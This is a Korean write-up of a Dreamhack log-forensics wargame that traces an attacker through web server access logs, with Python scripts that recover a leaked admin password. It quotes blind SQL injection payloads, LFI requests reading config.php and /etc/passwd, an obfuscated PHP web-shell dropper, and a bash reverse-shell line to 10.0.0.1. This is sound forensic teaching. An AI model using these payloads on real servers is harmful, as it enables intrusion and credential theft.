본 문제는 dreamhack.io를 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제에서 제공하는 소스 코드와 로그 파일을 분석하여 FLAG를 찾는 것으로 되어 있다.

페이지를 들어가면 퀴즈가 나오며 공격자가 탈취한 admin의 pw를 입력하는 것이다.

즉 로그에는 공격자가 admin의 pw를 탈취한 흔적을 찾아 내는 것임을 알 수 있다.

총 5개의 문제가 존재하는 것으로 보인다.

문제 풀이

Level 0

172.17.0.1 - - [02/Jun/2020:09:08:28 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:28 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:28 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:28 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:28 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:29 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:33 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:33 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:34 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:34 +0000] "POST /login.php HTTP/1.1" 200 696 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:35 +0000] "GET /board.php HTTP/1.1" 200 782 "http://127.0.0.1:8000/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:37 +0000] "GET / HTTP/1.1" 200 702 "http://127.0.0.1:8000/board.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:38 +0000] "GET /board.php HTTP/1.1" 200 782 "http://127.0.0.1:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

로그 파일을 보면 20000줄에 달하는 많은 로그가 쌓여 있는 것을 알 수 있다.

이와 같은 문제를 접해본 적이 있기에 계정 탈취는 SQL Injection을 통해 주로 탈취했기에

조작된 SQLi 문법의 예시가 되는 select, from등과 같은 내용을 검색하면 아래와 같은 내용이 있는 것을 확인할 수 있다.

172.17.0.1 - - [02/Jun/2020:09:11:49 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=103,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:11:50 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=104,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:11:51 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=105,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:11:51 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=106,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:11:52 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=107,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:11:52 +0000] "GET /board.php?sort=if(ord(substr(database(),%202,1))=108,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

SQL Injection을 시도한 로그를 확인할 수 있는데 응답 코드가 500인 값을 확인할 수 있다.

Blind SQLi를 시도하면서 500일 때가 해당 값의 참인 경우가 되고 이 값을 종합하면 데이터베이스의 이름, admin의 pw 정보를 확인할 수 있을 것으로 보인다.

access_new = open('C:\\Users\\Desktop\\File\\access_new.log', 'w')

with open('C:\\Users\\Desktop\\File\\access.log', 'r') as f:
    line = None
    while line != '':
        try:
            line = f.readline()
            if line.__contains__('500'):
                access_new.write(line)
        except:
            break

그렇다면 응답코드가 500인 것만 확인하면 되기에 위와 같은 파싱을 진행하며 확인해보면 된다.

이후 파싱된 로그를 이용하여 참인 경우의 값을 모두 형변환하여 출력하면 데이터베이스, 테이블 이름, 패스워드를 추출할 수 있다.

with open('C:\\Users\\usr\\Desktop\\NSHC\\File\\access_new.log', 'r', encoding='utf-8') as f:
    line = None
    database = ''
    for i in range(12):
        try:
            line = f.readline()
            start = line.find('))=')
            end = line.find(',', start)
            val = int(line[start+3:end])
            database += chr(val)
        except:
            break
    print(f'[+] Database = {database}')

    table = ''
    for i in range(12, 113):
        try:
            line = f.readline()
            start = line.find('))=')
            end = line.find(',', start)
            val = int(line[start+3:end])
            table += chr(val)
        except:
            break
    print(f'[+] Table = {table}')

    passwd = ''
    for i in range(114, 150):
        try:
            line = f.readline()
            start = line.find('))=')
            end = line.find(',', start)
            val = int(line[start+3:end])
            passwd += chr(val)
        except:
            break
    print(f'[+] Password = {passwd}')

Level 1

config.php 파일 자체를 추출했다는 것은 아래와 같은 경우가 있을 수 있다.

  • 파일 업로드를 이용하여 웹 쉘 등록 이후 다운로드한 경우

  • confing.php 백업 파일 추출

  • php://filter/를 이용한 resource 추출

172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.bak HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.dist HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.inc HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.old HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.save HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.swp HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.txt HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php.zip HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:08:57 +0000] "GET /wp-config.php~ HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

백업 파일 접근을 통해 확인한 결과 응답코드 404로 해당 경로를 통해서 접근한 것이 아닌 것을 알 수 있고, 응답코드를 200으로 가지며 config.php 파일 접근이 있는 것을 확인하면 아래의 로그를 찾을 수 있다.

172.17.0.1 - - [02/Jun/2020:09:54:18 +0000] "GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

Level 2

LFI 취약점을 이용해 코드 실행 공격이 된 파일의 경로를 입력하라고 되어 있다.

LFI는 주로 GET 방식을 이용하여 include하는 경우 서버내의 파일을 비정상적으로 접근이 가능하게 되는 경우를 뜻한다.

admin 디렉토리의 index.php에는 아래와 같은 코드가 있다.

<?php
    if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
    if(isset($_GET['page'])){
    include $_GET['page'];
    }else{
?>
    <li><a href="./?page=users.php">User List</a></li>
    <li><a href="./?page=memo.php">Session Memo</a></li>
<?php
    }
?>

해당 취약점으로 접근하게 되는 포인트는 /?page=memo.php, /?page=users.php로 보이며 이 둘에 대한 로그를 확인해야한다.

172.17.0.1 - - [02/Jun/2020:09:53:33 +0000] "GET /admin/?page=../../../../../etc/passwd HTTP/1.1" 200 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:53:43 +0000] "GET /admin/?page=php://filter/convert.base64-encode/resource=index.php HTTP/1.1" 200 1554 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:54:44 +0000] "GET /admin/?page=php://filter/convert.base64-encode/resource=memo.php HTTP/1.1" 200 1185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:55:16 +0000] "GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1" 200 1098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

Level 1에서 config.php 소스 코드 추출을 위한 방법으로 LFI를 사용하였으며 이후 길고 복잡해보이는 페이로드가 존재하기에 이를 분석해도록 한다.

<?php
function m($l, $T = 0) {
    $K = date('Y-m-d');
    $_ = strlen($l);
    $__ = strlen($K);
    for ($i = 0; $i < $_; $i++) {
        for ($j = 0; $j < $__; $j++) {
            if ($T) {
                $l[$i] = $K[$j] ^ $l[$i];
            } else {
                $l[$i] = $l[$i] ^ $K[$j];
            }
        }
    }
    return $l;
}
m('bmha[tqp[gkjpajpw')
    (m('+rev+sss+lpih+qthke`w+miecaw*tlt'),
        m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')); 
?>

URL 디코딩을 통해 정리하면 이처럼 나오게 되는데 m() 함수의 경우 $T 변수는 0으로 고정하기에 실질적으로 인자는 하나만 들어가게 되며 어떤 값을 출력하는지 확인하기 위해 echo를 이용하여 수정 및 실행하면 아래와 같게 된다.

이상한 값이 나오는 것을 볼 수 있고 변수 중 $K를 확인하면 실시간 날짜를 뽑는 date함수를 통해 값이 변화하게 되는 것을 알 수 있다.

해당 로그가 찍힌 시간은 2020-06-02이기에 변수를 변경하여 다시 한번 실행시키면 아래와 같다.

<?php
  if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }

  if(isset($_GET['memo'])){
    $_SESSION['memo'] = $_GET['memo'];
  }

  if(isset($_SESSION['memo'])){
    echo($_SESSION['memo']);
  }

?>

해당 명령으로 업로드한 웹 쉘을 통해 명령어를 삽입하게 되고 memo.php로 명령에 대한 세션을 등록하게 된다.

172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

이후 해당 세션을 통해 코드를 실행하게 되는 것을 알 수 있다.

Level 3

이는 방금 확인한 결과가 등록된 웹 쉘의 경로가 되므로 한 번에 두 문제를 해결한 것이 된다.

Level 4

어떠한 명령어가 처음으로 실행되었는지를 확인하는 문제이다.

172.17.0.1 - - [02/Jun/2020:09:56:08 +0000] "GET /uploads/memo.php?c=ls HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:56:10 +0000] "GET /uploads/memo.php?c=id HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:56:15 +0000] "GET /uploads/admin.php?c=id HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:56:32 +0000] "GET /uploads/images.php?c=whoami HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:57:04 +0000] "GET /uploads/apple.php?c=ls%20-al HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:57:17 +0000] "GET /uploads/session.php?cmd=echo%20%27test%27 HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:57:25 +0000] "GET /uploads/webshell.php?command=echo%20%27test%27 HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:57:33 +0000] "GET /uploads/sh.php?cc=echo%20%27test%27 HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:57:58 +0000] "GET /uploads/sh.php?cc=bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/8080%200%3E%261 HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:58:03 +0000] "GET /uploads/cmd.php?cc=bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/8080%200%3E%261 HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:58:06 +0000] "GET /uploads/ws.php?cc=bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/8080%200%3E%261 HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:58:39 +0000] "GET /uploads/webshell.php?f=file_get_contents&a=/etc/passwd HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

로그 하단을 확인하면 uploads/디렉토리를 통해 여러 쉘 접근을 진행하는 것을 확인할 수 있다.

하지만 level 3, 4를 통해서 등록된 웹 쉘의 이름이 images.php인 것을 알 수 있으므로 해당 경로를 통해 입력한 명령어를 제출하면 FLAG를 획득할 수 있다.